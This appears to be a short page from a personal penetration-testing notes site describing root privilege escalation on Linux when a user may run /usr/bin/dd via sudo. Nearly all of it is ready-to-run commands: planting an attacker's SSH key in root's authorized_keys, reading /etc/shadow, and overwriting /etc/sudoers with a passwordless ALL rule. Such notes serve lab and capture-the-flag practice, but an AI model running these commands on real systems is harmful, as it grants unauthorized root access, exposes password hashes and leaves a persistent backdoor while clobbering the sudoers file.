> For the complete documentation index, see [llms.txt](https://davidtancredi.gitbook.io/pentesting-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/privesc/sudo-+-gtfobins/usr-bin-dd.md).

# /usr/bin/dd

**1)From kali create ssh key** 

ssh-keygen cd /home/kali/.ssh cat id\_rsa.pub

**2)From target ssh session**

`echo "ssh-rsa AAAAB3NzaC1yc2EAAA.......pEQrmij2++fP44wU= kali@kali" | sudo -u root dd of=/root/.ssh/authorized_keys`

**3)ssh into user root**

`ssh root@10.10.10.10`

**`#Alternatives`**

Read /etc/shadow for root using dd privileges

`sudo dd if=/etc/shadow`

Write a new line into sudoers (target will be name of the box or user)

`echo “target ALL=(ALL) NOPASSWD: ALL” | sudo dd of=/etc/sudoers`

Then:

sudo su

\#root